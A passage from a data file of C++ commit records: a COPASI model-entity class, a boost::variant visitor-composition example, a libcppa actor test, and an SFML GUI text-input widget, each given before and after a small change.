(mpInitialExpression == NULL)\n            mpInitialExpression = new CExpression;\n\n          mUsed = true;\n          mUsedOnce = false;\n          break;\n\n        case TIME:\n          pdelete(mpExpression);\n          if (mpInitialExpression == NULL)\n            mpInitialExpression = new CExpression;\n\n          mUsed = true;\n          mUsedOnce = false;\n          break;\n\n        case FIXED:\n          pdelete(mpExpression);\n          if (mpInitialExpression == NULL)\n            mpInitialExpression = new CExpression;\n\n          mUsed = false;\n          mUsedOnce = false;\n          break;\n        }\n    }\n}\n\nvoid * CModelEntity::getValuePointer() const\n{return const_cast<C_FLOAT64 *>(mpValueAccess);}\n\nvoid CModelEntity::initObjects()\n{\n  C_FLOAT64 Dummy;\n\n  mpValueReference =\n    static_cast<CCopasiObjectReference<C_FLOAT64> *>(addObjectReference(\"Value\",\n        Dummy,\n        CCopasiObject::ValueDbl));\n  mpIValueReference =\n    static_cast<CCopasiObjectReference<C_FLOAT64> *>(addObjectReference(\"InitialValue\",\n        Dummy,\n        CCopasiObject::ValueDbl));\n\n  mpRateReference =\n    static_cast<CCopasiObjectReference<C_FLOAT64> *>(addObjectReference(\"Rate\", mRate, CCopasiObject::ValueDbl));\n\n  addObjectReference(\"SBMLId\", mSBMLId, CCopasiObject::ValueString);\n\n  mpModel = static_cast<CModel *>(getObjectAncestor(\"Model\"));\n\n  if (mpModel)\n    {\n      mpModel->getStateTemplate().add(this);\n    }\n  else\n    {\n      \/\/ This creates the needed values.\n      setInitialValuePtr(NULL);\n      setValuePtr(NULL);\n    }\n}\n\nvoid CModelEntity::setInitialValuePtr(C_FLOAT64 * pInitialValue)\n{\n  mpIValue = pInitialValue;\n  if (!mpIValue) mpIValue = new C_FLOAT64;\n  mpIValueReference->setReference(*mpIValue);\n}\n\nvoid CModelEntity::setValuePtr(C_FLOAT64 * pValue)\n{\n  mpValueData = pValue;\n  if (!mpValueData) mpValueData = new C_FLOAT64;\n\n  if (mStatus == FIXED)\n    mpValueAccess = mpIValue;\n  else\n    mpValueAccess = mpValueData;\n\n  mpValueReference->setReference(*mpValueAccess);\n}\n\nbool CModelEntity::setObjectParent(const CCopasiContainer * pParent)\n{\n  CCopasiContainer::setObjectParent(pParent);\n  CModel * pNewModel = static_cast<CModel *>(getObjectAncestor(\"Model\"));\n\n  if (mpModel == pNewModel) return true;\n\n  C_FLOAT64 InitialValue = *mpIValue;\n  C_FLOAT64 Value = *mpValueData;\n\n  if (mpModel)\n    {\n      mpModel->getStateTemplate().remove(this);\n    }\n  else\n    {\n      pdelete(mpIValue);\n      pdelete(mpValueData);\n    }\n\n  if (pNewModel)\n    {\n      pNewModel->getStateTemplate().add(this);\n    }\n  else\n    {\n      mpValueData = new C_FLOAT64;\n      mpIValue = new C_FLOAT64;\n    }\n\n  mpModel = pNewModel;\n  *mpIValue = InitialValue;\n  *mpValueData = Value;\n\n  return true;\n}\n\nstd::set< const CCopasiObject * > CModelEntity::getDeletedObjects() const\n  {\n    std::set< const CCopasiObject * > Deleted;\n\n    Deleted.insert(this);\n    Deleted.insert(mpIValueReference);\n    Deleted.insert(mpValueReference);\n    Deleted.insert(mpRateReference);\n\n    return Deleted;\n  }\n\nvoid CModelEntity::setSBMLId(const std::string& id)\n{\n  this->mSBMLId = id;\n}\n\nconst std::string& CModelEntity::getSBMLId() const\n  {\n    return this->mSBMLId;\n  }\n\nvoid CModelEntity::setUsed(const bool & used)\n{mUsed = used;}\n\nconst bool & CModelEntity::isUsed() const\n  {return mUsed;}\n\nvoid CModelEntity::setUsedOnce(const bool & usedOnce)\n{mUsedOnce = usedOnce;}\n\nconst bool & CModelEntity::isUsedOnce() const\n  {return mUsedOnce;}\n\n\/\/********************************************************************+\n\nCModelValue::CModelValue(const std::string & name,\n                         const CCopasiContainer * pParent):\n    CModelEntity(name, pParent, \"ModelValue\")\n{\n  mKey = GlobalKeys.add(\"ModelValue\", this);\n  initObjects();\n\n  CONSTRUCTOR_TRACE;\n}\n\nCModelValue::CModelValue(const CModelValue & src,\n                         const CCopasiContainer * pParent):\n    CModelEntity(src, pParent)\n{\n  mKey = GlobalKeys.add(\"ModelValue\", this);\n  initObjects();\n  CONSTRUCTOR_TRACE;\n}\n\nCModelValue::~CModelValue()\n{\n  GlobalKeys.remove(mKey);\n\n  DESTRUCTOR_TRACE;\n}\n\nvoid CModelValue::initObjects()\n{}\n\nstd::ostream & operator<<(std::ostream &os, const CModelValue & d)\n{\n  os << \"    ++++CModelValue: \" << d.getObjectName() << std::endl;\n  os << \"        mValue \" << *d.mpValueAccess << \" mIValue \" << *d.mpIValue << std::endl;\n  os << \"        mRate \" << d.mRate << \" mStatus \" << d.getStatus() << std::endl;\n  os << \"    ----CModelValue \" << std::endl;\n\n  return os;\n}\n<|endoftext|>"}
{"text":"<commit_before>#include <iostream>\n#include <boost\/variant.hpp>\n\nusing std::nullptr_t;\nusing std::pair;\nusing std::make_pair;\nusing std::move;\n\ntemplate <typename T, typename F, typename BaseInner, typename ArgsT>\nstruct ComposeVariantVisitor\n{\n  struct Inner : BaseInner\n  {\n    Inner(ArgsT&& a) : BaseInner(std::move(a.second)), f_(std::move(a.first)) {}\n\n    using BaseInner::operator();\n\n    void operator()(T& t) const { f_(t); }\n\nprivate:\n    \n    F f_;\n  };\n\n  ComposeVariantVisitor(ArgsT&& args) : m_args(move(args))\n  {\n  }\n\n  template<typename Tadd, typename Fadd>\n  auto on(Fadd&& f)\n  {\n    return ComposeVariantVisitor<Tadd, Fadd, Inner, std::pair<Fadd, ArgsT>>(\n        make_pair(move(f), move(m_args)));\n  }\n  \n  auto end_visitor()\n  {\n    return Inner(move(m_args));\n  }\n\n  ArgsT m_args;\n};\n\nstruct EmptyVariantVisitor\n{\n  struct Inner : public boost::static_visitor<>\n  {                  \n    struct detail_t {};\n\n    Inner(nullptr_t)\n    {\n    }\n\n    void operator()(detail_t&) const {}\n  };\n\n  template <typename Tadd, typename Fadd>\n  auto on(Fadd&& f)\n  {\n    return ComposeVariantVisitor<Tadd, Fadd, Inner, pair<Fadd, nullptr_t>>(\n        make_pair(move(f), nullptr));\n  }\n};\n\nEmptyVariantVisitor begin_variant_visitor()\n{\n    return EmptyVariantVisitor();\n}\n\nclass A{};\nclass B{};\nclass C{};\n\nint main(int argc, char* argv[])\n{\n  boost::variant<A,B,C> v;\n\n  \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n  \n  struct printer : boost::static_visitor<>\n  {\n    void operator()(A&) const { std::cout << \"A\\n\"; }\n    void operator()(B&) const { std::cout << \"B\\n\"; }\n    void operator()(C&) const { std::cout << \"C\\n\"; }\n  };\n\n  v = A();\n  boost::apply_visitor(printer(), v);\n  \n  v = B();\n  boost::apply_visitor(printer(), v);\n  \n  v = C();\n  boost::apply_visitor(printer(), v);\n\n  std::cout << \"\\n\";\n\n  \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n  \n  auto inline_printer = begin_variant_visitor()\n    .on<A>([](A&) { std::cout << \"A\\n\";})\n    .on<B>([](B&) { std::cout << \"B\\n\";})\n    .on<C>([](C&) { std::cout << \"C\\n\";})\n    .end_visitor();\n\n  v = A();\n  boost::apply_visitor(inline_printer, v);\n  \n  v = B();\n  boost::apply_visitor(inline_printer, v);\n  \n  v = C();\n  boost::apply_visitor(inline_printer, v);\n}\n\n<commit_msg>remove use of std:: ready for publication of code<commit_after>#include <iostream>\n#include <boost\/variant.hpp>\n\nusing std::nullptr_t;\nusing std::pair;\nusing std::make_pair;\nusing std::move;\nusing std::cout;\n\ntemplate <typename T, typename F, typename BaseInner, typename ArgsT>\nstruct ComposeVariantVisitor\n{\n  struct Inner : BaseInner\n  {\n    Inner(ArgsT&& a) : BaseInner(move(a.second)), f_(move(a.first)) {}\n\n    using BaseInner::operator();\n\n    void operator()(T& t) const { f_(t); }\n\nprivate:\n    \n    F f_;\n  };\n\n  ComposeVariantVisitor(ArgsT&& args) : m_args(move(args))\n  {\n  }\n\n  template<typename Tadd, typename Fadd>\n  auto on(Fadd&& f)\n  {\n    return ComposeVariantVisitor<Tadd, Fadd, Inner, pair<Fadd, ArgsT>>(\n        make_pair(move(f), move(m_args)));\n  }\n  \n  auto end_visitor()\n  {\n    return Inner(move(m_args));\n  }\n\n  ArgsT m_args;\n};\n\nstruct EmptyVariantVisitor\n{\n  struct Inner : public boost::static_visitor<>\n  {                  \n    struct detail_t {};\n\n    Inner(nullptr_t)\n    {\n    }\n\n    void operator()(detail_t&) const {}\n  };\n\n  template <typename Tadd, typename Fadd>\n  auto on(Fadd&& f)\n  {\n    return ComposeVariantVisitor<Tadd, Fadd, Inner, pair<Fadd, nullptr_t>>(\n        make_pair(move(f), nullptr));\n  }\n};\n\nEmptyVariantVisitor begin_variant_visitor()\n{\n    return EmptyVariantVisitor();\n}\n\nclass A{};\nclass B{};\nclass C{};\n\nint main(int argc, char* argv[])\n{\n  boost::variant<A,B,C> v;\n\n  \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n  \n  struct printer : boost::static_visitor<>\n  {\n    void operator()(A&) const { cout << \"A\\n\"; }\n    void operator()(B&) const { cout << \"B\\n\"; }\n    void operator()(C&) const { cout << \"C\\n\"; }\n  };\n\n  v = A();\n  boost::apply_visitor(printer(), v);\n  \n  v = B();\n  boost::apply_visitor(printer(), v);\n  \n  v = C();\n  boost::apply_visitor(printer(), v);\n\n  cout << \"\\n\";\n\n  \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n  \n  auto inline_printer = begin_variant_visitor()\n    .on<A>([](A&) { cout << \"A\\n\";})\n    .on<B>([](B&) { cout << \"B\\n\";})\n    .on<C>([](C&) { cout << \"C\\n\";})\n    .end_visitor();\n\n  v = A();\n  boost::apply_visitor(inline_printer, v);\n  \n  v = B();\n  boost::apply_visitor(inline_printer, v);\n  \n  v = C();\n  boost::apply_visitor(inline_printer, v);\n}\n\n<|endoftext|>"}
{"text":"<commit_before>#include \"test.hpp\"\n#include \"cppa\/cppa.hpp\"\n\nusing namespace cppa;\n\n\/*\n\ntest case:\n\n  A                  B                  C\n  |                  |                  |\n  | --(sync_send)--> |                  |\n  |                  | --(forward)----> |\n  |                  X                  |---\\\n  |                                     |   |\n  |                                     |<--\/\n  | <-------------(reply)-------------- |\n\n*\/\n\nstruct A : event_based_actor {\n    void init() {\n        become (\n            on(atom(\"go\"), arg_match) >> [=](const actor_ptr& next) {\n                handle_response(sync_send(next, atom(\"gogo\"))) (\n                    on(atom(\"gogogo\")) >> [=] {\n                        quit();\n                    },\n                    after(std::chrono::seconds(1)) >> [=] {\n                        quit(exit_reason::user_defined);\n                    }\n                );\n            },\n            others() >> [=] {\n                cerr << \"UNEXPECTED: \" << to_string(last_dequeued()) << endl;\n            }\n        );\n    }\n};\n\nstruct B : event_based_actor {\n    actor_ptr m_buddy;\n    B(const actor_ptr& buddy) : m_buddy(buddy) { }\n    void init() {\n        become (\n            others() >> [=]() {\n                forward_to(m_buddy);\n            }\n        );\n    }\n};\n\nstruct C : event_based_actor {\n    void init() {\n        become (\n            on(atom(\"gogo\")) >> [=] {\n                reply(atom(\"gogogo\"));\n            }\n        );\n    }\n};\n\nint main() {\n    send(spawn<A>(), atom(\"go\"), spawn<B>(spawn<C>()));\n    await_all_others_done();\n    return 0;\n}\n<commit_msg>added quit() to all testees<commit_after>#include \"test.hpp\"\n#include \"cppa\/cppa.hpp\"\n\nusing namespace cppa;\n\n\/*\n\ntest case:\n\n  A                  B                  C\n  |                  |                  |\n  | --(sync_send)--> |                  |\n  |                  | --(forward)----> |\n  |                  X                  |---\\\n  |                                     |   |\n  |                                     |<--\/\n  | <-------------(reply)-------------- |\n\n*\/\n\nstruct A : event_based_actor {\n    void init() {\n        become (\n            on(atom(\"go\"), arg_match) >> [=](const actor_ptr& next) {\n                handle_response(sync_send(next, atom(\"gogo\"))) (\n                    on(atom(\"gogogo\")) >> [=] {\ncout << \"A received gogogo\" << endl;\n                        quit();\n                    },\n                    after(std::chrono::seconds(1)) >> [=] {\n                        quit(exit_reason::user_defined);\n                    }\n                );\n            },\n            others() >> [=] {\ncerr << \"UNEXPECTED: \" << to_string(last_dequeued()) << endl;\n            }\n        );\n    }\n};\n\nstruct B : event_based_actor {\n    actor_ptr m_buddy;\n    B(const actor_ptr& buddy) : m_buddy(buddy) { }\n    void init() {\n        become (\n            others() >> [=]() {\ncout << \"B forward_to C\" << endl;\n                forward_to(m_buddy);\n                quit();\n            }\n        );\n    }\n};\n\nstruct C : event_based_actor {\n    void init() {\n        become (\n            on(atom(\"gogo\")) >> [=] {\ncout << \"C received gogo (reply)\" << endl;\n                reply(atom(\"gogogo\"));\n                quit();\n            }\n        );\n    }\n};\n\nint main() {\n    send(spawn<A>(), atom(\"go\"), spawn<B>(spawn<C>()));\n    await_all_others_done();\n    return 0;\n}\n<|endoftext|>"}
{"text":"<commit_before>#include \"TextInputWidget.hpp\"\n#include <iostream>\n\ngsf::TextInputWidget::Ptr gsf::TextInputWidget::create(sf::Font &font)\n{\n    Ptr widget{ std::make_unique<TextInputWidget>(font) };\n    return widget;\n}\n\ngsf::TextInputWidget::Ptr gsf::TextInputWidget::create(float width, float height, \n        sf::Font &font)\n{\n    Ptr widget{ std::make_unique<TextInputWidget>(width, height, font) };\n    return widget;\n}\n\ngsf::TextInputWidget::TextInputWidget(sf::Font &font)\n: Widget{ }\n\/\/, m_text{ \"\", font, 12, sf::Color::Black }\n, m_text{ nullptr }\n, m_font{ font }\n, m_charSize{ 12 }\n, m_isEditable{ true }\n, m_cursor{ \"|\", font, m_charSize }\n, m_cursorColor{ sf::Color::Black }\n, m_scrollable{ nullptr }\n, m_acceptNewLines{ true }\n, m_isFocused{ false }\n, m_cursorPos{ 0 }\n, m_lBreaksBefCur{ 0 }\n, m_isCursorShown{ true }\n, m_blinkFreq{ 0.8f }\n, m_lastBlinkTime{ 0.f }\n, m_whiteListChars{ L\"\" }\n, m_blackListChars{ L\"\" }\n, m_minBreakCharCnt{ 0 }\n{\n    init();\n}\ngsf::TextInputWidget::TextInputWidget(float width, float height, \n        sf::Font &font)\n: Widget{ width, height }\n\/\/, m_text{ \"\", font, 12, sf::Color::Black }\n, m_text{ nullptr }\n, m_font{ font }\n, m_charSize{ 12 }\n, m_isEditable{ true }\n, m_cursor{ \"|\", font, m_charSize }\n, m_cursorColor{ sf::Color::Black }\n, m_scrollable{ nullptr }\n, m_acceptNewLines{ true }\n, m_isFocused{ false }\n, m_cursorPos{ 0 }\n, m_lBreaksBefCur{ 0 }\n, m_isCursorShown{ true }\n, m_blinkFreq{ 0.8f }\n, m_lastBlinkTime{ 0.f }\n, m_whiteListChars{ L\"\" }\n, m_blackListChars{ L\"\" }\n, m_minBreakCharCnt{ 0 }\n{\n    init();\n}\n\nvoid gsf::TextInputWidget::init()\n{\n    std::unique_ptr<TextWidget> text{ \n        std::make_unique<TextWidget>(\"\", m_font, m_charSize, sf::Color::Black) };\n    std::unique_ptr<ScrollableWidget> scrollable{ \n        std::make_unique<ScrollableWidget>(\n                getWidth(), \n                getHeight()) };\n    m_scrollable = scrollable.get();\n    m_text = text.get();\n    scrollable->setBackgroundColor(sf::Color::Transparent);\n    scrollable->attachChild(std::move(text));\n    \/\/ Change content area so that the scrollbar fits in the TextInputWidget when\n    \/\/ necassary.\n    scrollable->setOnVerticalScrollNeededChangedListener(\n            [](Widget* widget, bool isNeeded)\n            {\n                \/\/ Vertical Scrollbar is needed so we reduce the width of the content\n                \/\/ area, so that the scrollbar fits in the TextInputWidget\n                if (isNeeded)\n                {\n                    widget->setWidth(widget->getWidth() \n                            - ScrollableWidget::SCROLLBAR_THICKNESS);\n                }\n                \/\/ Vertical Scrollbar is no longer so we can make the \n                \/\/ reductoion undone\n                else\n                {                    \n                    widget->setWidth(widget->getWidth() \n                            + ScrollableWidget::SCROLLBAR_THICKNESS);\n                }\n            });\n    attachChild(std::move(scrollable));\n    m_cursor.setFillColor(m_cursorColor);\n    setOutlineThickness(4.f);\n}\n\nvoid gsf::TextInputWidget::setCursorColor(sf::Color color)\n{\n    m_cursorColor = color;\n    m_cursor.setFillColor(color);\n}\n\nsf::Color gsf::TextInputWidget::getCursorColor() const\n{\n    return m_cursorColor;\n}\n\nvoid gsf::TextInputWidget::setIsEditable(bool isEditable)\n{\n    m_isEditable = isEditable;\n}\n\nbool gsf::TextInputWidget::isEditable() const\n{\n    return m_isEditable;\n}\n\nvoid gsf::TextInputWidget::setText(const std::wstring &text)\n{\n    m_currentText = text;\n    m_text->setText(m_currentText);\n    \/\/ Move cursor to end of text\n    m_cursorPos = m_currentText.size();\n    \/\/ Adjust text so that it fits the scrollbar when horizontal scrolling is disabled\n    adjustShownText();\n    m_scrollable->recalculateScroll();\n    m_scrollable->scrollToBottom();\n    m_scrollable->scrollToLeft();\n}\n\nstd::wstring gsf::TextInputWidget::getText() const\n{\n    \/\/return m_text->getText().toWideString();\n    return m_currentText;\n}\n\nvoid gsf::TextInputWidget::setCharacterSize(const unsigned int size)\n{\n    m_text->setCharacterSize(size);\n    m_charSize = size;\n    m_cursor.setCharacterSize(size);\n}\n\nunsigned int gsf::TextInputWidget::getCharacterSize() const\n{\n    return m_charSize;\n}\n\nvoid gsf::TextInputWidget::setTextColor(const sf::Color color)\n{\n    m_text->setTextColor(color);\n}\n\nsf::Color gsf::TextInputWidget::getTextColor() const\n{\n    return m_text->getTextColor();\n}\n\nvoid gsf::TextInputWidget::setIsNewLineAccepted(bool isAccepted)\n{\n    m_acceptNewLines = isAccepted;\n}\n\nbool gsf::TextInputWidget::getIsNewLineAccepted() const\n{\n    return m_acceptNewLines;\n}\n\nbool gsf::TextInputWidget::isFocused() const\n{\n    return m_isFocused;\n}\n\nvoid gsf::TextInputWidget::setIsVerticalScrollEnabled(bool isEnabled)\n{\n    m_scrollable->setIsVerticalScrollEnabled(isEnabled);\n}\n\nbool gsf::TextInputWidget::isVerticalScrollEnabled() const\n{\n    return m_scrollable->isVerticalScrollEnabled();\n}\n\nvoid gsf::TextInputWidget::setIsHorizontalScrollEnabled(bool isEnabled)\n{\n    m_scrollable->setIsHorizontalScrollEnabled(isEnabled);\n}\n\nbool gsf::TextInputWidget::isHorizontalScrollEnabled() const\n{\n    return m_scrollable->isHorizontalScrollEnabled();\n}\n\nvoid gsf::TextInputWidget::setIsVerticalScrollbarDrawn(bool isDrawn)\n{\n    m_scrollable->setIsVerticalScrollbarDrawn(isDrawn);\n}\n\nvoid gsf::TextInputWidget::setIsHorizontalScrollbarDrawn(bool isDrawn)\n{\n    m_scrollable->setIsHorizontalScrollbarDrawn(isDrawn);\n}\n\nstd::wstring gsf::TextInputWidget::getBlackListChars() const\n{\n    return m_blackListChars;\n}\n\nvoid gsf::TextInputWidget::setBlackListChars(std::wstring chars)\n{\n    m_blackListChars = chars;\n}\n\nstd::wstring gsf::TextInputWidget::getWhiteListChars() const\n{\n    return m_whiteListChars;\n}\n\nvoid gsf::TextInputWidget::setWhiteListChars(std::wstring chars)\n{\n    m_whiteListChars = chars;\n}\n\nvoid gsf::TextInputWidget::adjustShownText()\n{\n    if (!m_scrollable->isHorizontalScrollEnabled() && m_currentText.size() > 0)\n    {\n        m_lBreaksBefCur = 0;\n        m_lBreakIndexes.clear();\n        std::wstring shownString{ L\"\" };\n        \/\/ The chars which are in the actual line\n        unsigned int charCntLine{ 0 };\n        \/\/ The total width of all chars in the current line\n        float lineWidth{ 0.f };\n        for (unsigned int i{ 0 }; i < m_currentText.size(); i++)\n        {\n            wchar_t c{ m_currentText[i] };\n            \/\/ If we have a new line as char we can set the lineWidth and charCntLine\n            \/\/ to 0 because there is no need to handle the chars in this line\n            \/\/ (It is already handled by user width the new line char)\n            if (c == '\\n')\n            {\n                lineWidth = 0.f;\n                charCntLine = 0;\n                shownString += c;\n                continue;\n            }\n            \/\/ Width of the current char\n            float cWidth{ m_text->getWidthAndHeightOfChar(c).x }; \n            lineWidth += cWidth;\n            \/\/ When Text is out of scrollable widget, we have to add a new line \n            if (lineWidth > m_scrollable->getWidth())\n            {\n                if (i < m_cursorPos)\n                {\n                    \/\/ We have to increase the \"line breaks befor cursor\" counter\n                    \/\/ so we add the cursor later on the right position\n                    m_lBreaksBefCur++;\n                }\n                \/\/shownString += m_currentText.substr(i - charCntLine, charCntLine);\n                \/\/ Add new line\n                shownString += L\"\\n\";\n                \/\/ Store the position (of the shown text) \n                \/\/ where the new line was added\n                m_lBreakIndexes.push_back(i + 1);\n                \/\/ add the char with which the line was to wide in the new line\n                shownString += c;\n                \/\/ We have added the char c in the new line, \n                \/\/ so we have now 1 char in the current line\n                charCntLine = 1;\n                lineWidth = cWidth;\n            }\n            else\n            {\n                charCntLine++;\n                shownString += c;\n            }\n        }\n        m_shownText = shownString;\n        m_text->setText(m_shownText);\n    }\n}\n\nvoid gsf::TextInputWidget::resetCursorStatus()\n{\n    m_lastBlinkTime = 0.f;\n    m_isCursorShown = true;\n}\n\nunsigned int gsf::TextInputWidget::getAddedLineBreaksUpToIndex\n    (unsigned int index) const\n{\n    unsigned int cnt{ 0 };\n\n    for (unsigned int lBreakIndex : m_lBreakIndexes)\n    {    \n        if (lBreakIndex < index)\n        {\n            cnt++;\n        }\n        else\n        {\n            return cnt;\n        }\n    }\n    return cnt;\n}\n\nbool gsf::TextInputWidget::handleEventCurrentAfterChildren(sf::Event &event, \n        const sf::RenderTarget &target)\n{\n\n    bool handled{ Widget::handleEventCurrentAfterChildren(event, target) };\n    if (!m_isEditable)\n    {\n        \/\/ Nothing to do\n        return handled;\n    }\n    \n    \/\/bool handled{ ChildWidget::handleEvent(event) };\/*|| \n      \/\/  m_scrollable->handleEventWidget(event) };*\/\n    \/\/ Check if actual Widget is focused\n    if (event.type == sf::Event::MouseButtonPressed)\n    {        \n        sf::Vector2f mousePos{ target.mapPixelToCoords({ event.mouseButton.x, \n            event.mouseButton.y }) };\n        sf::Vector2f localPos{ convertToLocalPoint(mousePos) };\n\n        bool isMouseInShownArea{ getShownArea().contains(mousePos) };\n        bool intersecting{ isIntersecting(mousePos) };\n        if (isMouseInShownArea && intersecting)\n        {\n            m_isFocused = true;\n            handled = true;\n            \/\/ Put cursor to clicked postion           \n            \/\/ Get the index of the char where the mouse has clicked\n            int clickedCharIndex{ m_text->findIndexOfCharOnPos(localPos) };\n            \/\/ Clicked on a char?\n            if (clickedCharIndex > -1)\n            {\n                \/\/ The index is the index of m_shownText, but we need the index of\n                \/\/ the char in m_currentText, so we have to remove the automatic\n                \/\/ added line breaks.\n                unsigned int autoAddedLineBreaks{ \n                    getAddedLineBreaksUpToIndex(clickedCharIndex) };\n                m_cursorPos = clickedCharIndex - autoAddedLineBreaks; \n                m_lBreaksBefCur = autoAddedLineBreaks;\n            }\n            \/\/ If there was no click on a char, move cursor to end\n            else\n            {\n\n                m_cursorPos = m_shownText.length();\n            }\n        }\n        else\n        {\n            m_isFocused = false;\n        }\n    }\n    if (event.type == sf::Event::KeyPressed && m_isFocused)\n    {\n        switch (event.key.code)\n        {\n        case sf::Keyboard::Left:\n            if (m_cursorPos > 0)\n            {\n                m_cursorPos--;\n            }\n            \/\/ when cursor is moved it should be drawn so we reset its status\n            resetCursorStatus();\n            adjustShownText();\n            \/\/m_cursor.setPosition(\n            \/\/    m_text->findCharacterPos(m_cursorPos + m_lBreaksBefCur));\n            return true;\n        case sf::Keyboard::Right: \n            if (m_cursorPos < m_currentText.length())\n            {\n                m_cursorPos++;\n            }\n            resetCursorStatus();\n            adjustShownText();\n            \/\/m_cursor.setPosition\n            \/\/    (m_text->findCharacterPos(m_cursorPos + m_lBreaksBefCur));\n            return true;\n        default: break;\n        }\n    }\n    \/\/ If Widget is focused and Text entered, handle entered text\n    if (m_isFocused && event.type == sf::Event::TextEntered)\n    {\n        \/\/ To handle umlauts and other 'exotic' chars we use widestring\n        \/\/ and wide char\n        \/\/std::wstring actualTxt{ m_text.getString().toWideString() };\n        wchar_t c{ static_cast<wchar_t>(event.text.unicode) };\n        std::cout << \"Entered: \" << c << std::endl;\n        switch (c)\n        {\n        \/\/ Backspace\n        case 8: \n            if (m_currentText.length() > 0) \n            {\n                \/\/ Remove chars right of cursor when there are chars\n                if (m_cursorPos > 0 && m_cursorPos < m_currentText.length())\n                {\n                    m_currentText.erase(m_cursorPos - 1, 1);\n                    m_cursorPos--;\n                }\n                \/\/ When cursos is at the end of the text, p\n                \/\/ place cursor behind char which we want to delete,\n                else if (m_cursorPos == m_currentText.length())\n                {\n                    \/\/ Delete last char\n                    m_currentText.pop_back();\n                    m_cursorPos--;\n                }\n            }\n            break;\n        \/\/ Delete Pressed\n        case 127: \n            if (m_currentText.length() > 0 && \n                    m_cursorPos < m_currentText.length())\n            {\n                m_currentText.erase(m_cursorPos, 1);\n            }\n            break;\n        \/\/ Enter key\n        case 13: \n            \/\/ Dont add new line, when new lines are not accepted\n            if (!m_acceptNewLines)\n            {\n                return false;\n            }\n            m_currentText.insert(m_cursorPos, L\"\\n\"); m_cursorPos++;\n            break;\n        \/\/ Add char to text\n        default:\n            \/\/ If there are white listed chars specified, check if char is in it.\n            \/\/ If not return\n            if (m_whiteListChars.length() > 0 && \n                    m_whiteListChars.find(c) == std::wstring::npos)\n            {\n                return false;\n            }\n            \/\/ Check if char is black listed, if so return\n            if(m_blackListChars.find(c) != std::wstring::npos)\n            {\n                return false;\n            }\n            m_currentText.insert(m_cursorPos, std::wstring() + c);\n                 m_cursorPos++;\n        }\n        resetCursorStatus();\n        m_shownText = m_currentText;\n        m_text->setText(m_shownText);\n        adjustShownText();\n        \/\/m_cursor.setPosition\n            \/\/(m_text->findCharacterPos(m_cursorPos + m_lBreaksBefCur));\n        m_scrollable->recalculateScroll();\n        m_scrollable->scrollToRight();\n        m_scrollable->scrollToBottom();\n        return true;\n    }\n    return handled;\n}\n\nvoid gsf::TextInputWidget::updateCurrentAfterChildren(float dt)\n{\n    if (!m_isEditable)\n    {\n        \/\/ Nothing to do\n        return;\n    }\n    \n    \/\/ Update cursor stuff\n    m_lastBlinkTime += dt;\n    if (m_lastBlinkTime >= m_blinkFreq)\n    {\n        m_isCursorShown = !m_isCursorShown;\n        m_lastBlinkTime = 0.f;\n    }\n\n    m_cursor.setPosition(\n            m_text->findGlobalCharacterPos(m_cursorPos + m_lBreaksBefCur));\n    \/\/std::wstring text{ m_currentText };\n    \/\/std::wstring text{ m_shownText };\n    \/\/m_text->setText(text); \n}\n\nvoid gsf::TextInputWidget::drawCurrentAfterChildren(sf::RenderTarget &target, \n                    sf::RenderStates states, sf::View defaultView) const\n{   \n    \/\/ Draw cursor after children, so that children are not drawn over cursor\n    if (m_isCursorShown && m_isEditable)\n    {\n        target.draw(m_cursor, states);\n    }\n}\n<commit_msg>Only move cursor when left button was clicked<commit_after>#include \"TextInputWidget.hpp\"\n#include <iostream>\n\ngsf::TextInputWidget::Ptr gsf::TextInputWidget::create(sf::Font &font)\n{\n    Ptr widget{ std::make_unique<TextInputWidget>(font) };\n    return widget;\n}\n\ngsf::TextInputWidget::Ptr gsf::TextInputWidget::create(float width, float height, \n        sf::Font &font)\n{\n    Ptr widget{ std::make_unique<TextInputWidget>(width, height, font) };\n    return widget;\n}\n\ngsf::TextInputWidget::TextInputWidget(sf::Font &font)\n: Widget{ }\n\/\/, m_text{ \"\", font, 12, sf::Color::Black }\n, m_text{ nullptr }\n, m_font{ font }\n, m_charSize{ 12 }\n, m_isEditable{ true }\n, m_cursor{ \"|\", font, m_charSize }\n, m_cursorColor{ sf::Color::Black }\n, m_scrollable{ nullptr }\n, m_acceptNewLines{ true }\n, m_isFocused{ false }\n, m_cursorPos{ 0 }\n, m_lBreaksBefCur{ 0 }\n, m_isCursorShown{ true }\n, m_blinkFreq{ 0.8f }\n, m_lastBlinkTime{ 0.f }\n, m_whiteListChars{ L\"\" }\n, m_blackListChars{ L\"\" }\n, m_minBreakCharCnt{ 0 }\n{\n    init();\n}\ngsf::TextInputWidget::TextInputWidget(float width, float height, \n        sf::Font &font)\n: Widget{ width, height }\n\/\/, m_text{ \"\", font, 12, sf::Color::Black }\n, m_text{ nullptr }\n, m_font{ font }\n, m_charSize{ 12 }\n, m_isEditable{ true }\n, m_cursor{ \"|\", font, m_charSize }\n, m_cursorColor{ sf::Color::Black }\n, m_scrollable{ nullptr }\n, m_acceptNewLines{ true }\n, m_isFocused{ false }\n, m_cursorPos{ 0 }\n, m_lBreaksBefCur{ 0 }\n, m_isCursorShown{ true }\n, m_blinkFreq{ 0.8f }\n, m_lastBlinkTime{ 0.f }\n, m_whiteListChars{ L\"\" }\n, m_blackListChars{ L\"\" }\n, m_minBreakCharCnt{ 0 }\n{\n    init();\n}\n\nvoid gsf::TextInputWidget::init()\n{\n    std::unique_ptr<TextWidget> text{ \n        std::make_unique<TextWidget>(\"\", m_font, m_charSize, sf::Color::Black) };\n    std::unique_ptr<ScrollableWidget> scrollable{ \n        std::make_unique<ScrollableWidget>(\n                getWidth(), \n                getHeight()) };\n    m_scrollable = scrollable.get();\n    m_text = text.get();\n    